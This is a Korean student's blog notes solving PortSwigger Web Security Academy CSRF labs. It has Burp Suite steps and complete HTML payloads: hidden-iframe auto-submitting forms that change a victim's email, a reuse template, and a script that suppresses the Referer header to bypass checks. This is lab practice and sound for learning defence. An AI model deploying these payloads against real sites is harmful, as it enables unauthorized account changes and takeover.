본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[복습]CSRF 취약점 실습

by m_.9m 2021. 12. 5.



## — CSRF 토큰 검증 미흡


https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method

 

Lab: CSRF where token validation depends on request method | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To ...

portswigger.net

 

풀이 방법

 

1. 이메일을 일단 변경해본다.

이메일 변경을 시도.

 

2. Burp suite 내에서 change-email 요청 부분을 찾아 repeater로 보낸다.

 

change-email 요청 부분을 찾아 repeater로 보내는 화면

 

3. Change method로 POST 방식을 GET 방식으로 바꾸어 준다.

 

Change method로 POST 방식을 GET 방식으로 바꾼다.

 

4. 바뀐 요청을 보내보고 성공화면을 확인한 후 Copy URL로 직접 링크를 열어본다.

 

요청에 성공한 후 Copy URL을 해 새 창에 열어준다.

 

계정이 myungju@naver.com 에서 myungju2@naver.com로 바뀐것을 확인할 수있다.

 

 

## — CSRF 토큰이 있을 때만 검증하는 경우
https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present

 

Lab: CSRF where token validation depends on token being present | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to ...

portswigger.net

 

1. 이메일 변경 요청을 보내본다.

jjjjj@naver.com -> myungju.com 변경 요청

 

2. Burp suite 로 해당 패킷을 확인해본다. 토큰의 유무를 체크한다.

Burp suite 화면, 토큰이 붙어있음을 확인할 수 있다.

 

3. 일단 GET 방식으로 바꾸어본다.

 

안되는 걸 확인한다.

 

4. 그럼 위에서 쓴 Go to exploit server 버튼을 눌러 태그를 작성해준다.

버튼을 눌러 접속

 

5. Body 부분에 작성해주어야하는데, 이메일과 토큰을 붙여 자동으로 변경이 실행되는 폼을 작성한다.

코드 작성 부분

 

 

6. myungju@naver.com 으로 바꼈던 이메일이 jjjjj@naver.com로 도로 바뀐 것을 확인할 수 있다.

우회 성공 화면

 

<코드 전문>

<iframe width="0" height="0" border="0" name=" stealthframe" id="stealthframe" style="display: none;"></iframe>
<body onload="document.csrf_form.submit();">
<form method="POST" name="csrf_form" action="https://ac531fd21e8abb35c05105cc001f0098.web-security-academy.net/my-account/change-email" target="stealthframe">
<input type ="hidden" name="email" value="jjjjj@naver.com">
<input type="hidden" name="csrf" value="VGY0L9uUEbmv4uIAyQxzpnrxnZ7L7orM">
</form>

 

사용시 코드를 변경해야할 부분은 " " 세 곳이다. 
<form method="POST" name="csrf_form" action="이메일 바꾸는 요청을 보내는 Change-email 주소" target="stealthframe">
<input type ="hidden" name="email" value="바꿀 이메일">
<input type="hidden" name="csrf" value="발급되었던 토큰 값">

 

 

## — CSRF 토큰이 세션에 연결되어 있지 않은 경우
https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session

 

Lab: CSRF where token is not tied to user session | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's ...

portswigger.net

 

 

1. 풀이에 앞서 사용자 세션과 토큰이 연결이 되어있지 않은 예제이기 때문에 계정 아이디를 두개 발급해 주는걸 확인하고 들어가도록 하자.

 

 

 

2. 첫 번째 계정인 wiener에 로그인하여서 이메일을 바꿔주는 시도를 한다.(위와 같은 기본 패턴)

 

계정 1 로그인

3. Burp suite로 어떤 유형인지 확인한다. 토큰이 붙은걸 확인해준다.

 

토큰이 붙어서 변경되는 것을 확인

4. Reprater로 보내 GET 방식으로 바꿔 실행되는지 체크한다.

 

방식 바꿔 실행되는지 확인

5.  carlos 계정으로 로그인해준다.

위 과정을 생략하고 5번부터 진행해도 된다.

계정 2에 로그인한다.

 

5. 평소에 intercept 를 꺼둔다면 intercept is on을 만들어둔 후 계정을 변경하는 요청을 보낸 후 Burp suite내에서 토큰만 복사하고 Drop 한다. (발급되었지만 사용하지 않은 토큰을 얻기위한 과정이라고 볼 수있다.)

 

Burp suite내에서 토큰만 복사하고 Drop 하는 과정

 

6. 다시 계정 1인 wiener에 로그인해준다.

 

계정 1에 다시 로그인

 

7. 상단에 Go to exploit server 버튼을 눌러 게시글 Body 부분에 태그를 작성해준다.

여기서 사용된 태그는 위에 사용된 것과 똑같으며, 토큰 사용 방법만 다르다.

 

태그 작성문

 

8. carlos(계정 2)에서 발급된 토큰으로 wiener(계정 1)의 이메일을 성공적으로 바꿨음을 확인할 수 있다.

 

이메일이 바뀐것을 확인한다.

 

9. 이 방법을 계정 1만을 가지고 실행해도 성공한다. Burp suite로 패킷을 가로채 드롭시키고 쓰지 않은 토큰으로 폼을 만들어 실행시키면 계정의 이메일을 변경하는 요청을 하는 코드를 작성할 수있다.

 

<코드 전문>

<iframe width="0" height="0" border="0" name=" stealthframe" id="stealthframe" style="display: none;"></iframe>
<body onload="document.csrf_form.submit();">
<form method="POST" name="csrf_form" action="https://ac531fd21e8abb35c05105cc001f0098.web-security-academy.net/my-account/change-email" target="stealthframe">
<input type ="hidden" name="email" value="jjjjj@naver.com">
<input type="hidden" name="csrf" value="VGY0L9uUEbmv4uIAyQxzpnrxnZ7L7orM">
</form>

 

사용시 코드를 변경해야할 부분은 " " 세 곳이다. 

 

<form method="POST" name="csrf_form" action="바꿀 링크 주소 change-email" target="stealthframe">
<input type ="hidden" name="email" value="바꿀 이메일">
<input type="hidden" name="csrf" value="사용하지 않은 토큰">

 

 

 

## — Referer 체크 미흡
https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present

 

Lab: CSRF where Referer validation depends on header being present | Web Security Academy

This lab's email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback. To solve the lab, use ...

portswigger.net

 

여기서 referer 참조란 참조 페이지를 의미한다. 일반적으로 브라우저가 이동할때 어떤 페이지에서 요청을 하는지 도메인 이름과 해당 페이지를 함께 전송하는데, CSRF 공격을 막기 위한 방안으로 같은 도메인이 아닐 경우 서버에 어떠한 요청을 하지 못하게 한다. referer 참조가 미흡한 경우란 참조 페이지를 숨기는 방법을 사용할 수있는 경우를 뜻한다.

 

 

 

 

1. 페이지에 로그인해 이메일을 바꾸는 요청을 보낸다. 

 

2. Burp suite로 패킷을 확인해본다. 토큰이나 다른 인증수단이 보이지 않는 것을 확인한다.

 

이메일 바꾸는 요청을 보내는 패킷 화면

 

3.  Repeater로 보내서(마우스 우클릭) Change method로 POST 방식을 GET 방식으로 바꾼 후 요청을 보내본다.

안되는 것을 확인한 후 폼을 작성하러 간다.

 

&nbsp;GET 방식이 안되는 것을 확인한다.

 

4. 상단에 Go to exploit server 버튼을 눌러 게시글 Body 부분에 위에 사용했던 태그를 작성해준다.

토큰 인증 부분이 없으니 토큰 input 부분을 빼고 작성한다.

 

 

태그 작성 문

 

5. View exploit를 했을 때 요청이 가지않고 오류문이 뜨는 것을 볼 수있다.

이게 바로 referer 검증을 하는 경우인데 오류문을 보면 "lnvalid referer header"라고 쓰여져있다.

 

CSRF의 대응 방안으로 Referer를 체크하는 경우도 있다. Referer를 체크하면 사실상 막을 수 없다. 옛날이라면 우회가 가능했지만 요즘엔 브라우저들이 그 기능들을 막고 있어 우회가 불가능하다.

 

하지만 경우에 따라 referer을 숨길 수 있기는 기능을 사용할 수 있기때문에 시도해본다.

 

오류 메세지 확인

 

 

6. 요청 코드와 함께 referer을 숨기는 기능을 사용한다. html나 Javascript문으로 처리하는 두가지 방식 중 Body부분에 script를 넣어 실행하는 방식을 선택해 사용했다.

 

referer을 숨기는 태그 사용

7. View exploit시 정상적으로 작동하는 것을 볼 수있다.

 

이메일이 바뀐 것을 확인한다.

<코드 전문>

<iframe width="0" height="0" border="0" name=" stealthframe" id="stealthframe" style="display: none;"></iframe>
<body onload="document.csrf_form.submit();">
<form method="POST" name="csrf_form" action="https://ac531fd21e8abb35c74105cc001f0098.web-security-academy.net/my-account/change-email" target="stealthframe">
<input type ="hidden" name="email" value="jjjjj@naver.com">
</form>
<script>
var meta = document.createElement('meta');
meta.name = "referrer";
meta.content = "no-referrer";
document.getElementsByTagName('head')[0].appendChild(meta);
</script>

 

위에 사용한 태그 중 토큰 없이 쓴 태그에 script안 referer을 숨기는 

var meta = document.createElement('meta');
meta.name = "referrer";
meta.content = "no-referrer";
document.getElementsByTagName('head')[0].appendChild(meta);

부분을 추가했다.

 

HTML로 사용할 시엔 <head> 부분에 추가해주면 되는데 참조사이트를 걸어두겠다.

https://blog.asamaru.net/2016/11/04/remove-http-referer/

 

HTTP referrer(referer) 숨기기

브라우저에서 http 요청을 하는 경우 대부분 referrer 정보가 넘어간다.(HTTP 리퍼러를 정의한 RFC에서 'referrer'를 'referer'라고 잘못 친 것에서 기인하여 HTTP 리퍼러는 'HTTP referer'라고 불린다 : 위키백과

blog.asamaru.net

 

이 태그를 사용할 수 있는 브라우저인지 아닌지를 확인하는 사이트이다.

https://caniuse.com/mdn-html_elements_meta_name_referrer

 

HTML element: meta: name: referrer | Can I use... Support tables for HTML5, CSS3, etc

HTML element: meta: name: referrer Global usage 76.98% + 0% = 76.98% IE 6 - 10: Support unknown11: Support unknown Edge 12 - 18: Not supported79 - 95: Supported96: Supported Firefox 2 - 35: Not supported36 - 93: Supported94: Supported95 - 96: Supported Chr

caniuse.com

 

→ 하위호환
에러 발생 시 처리 로직 : **false positives VS False Negative 개념**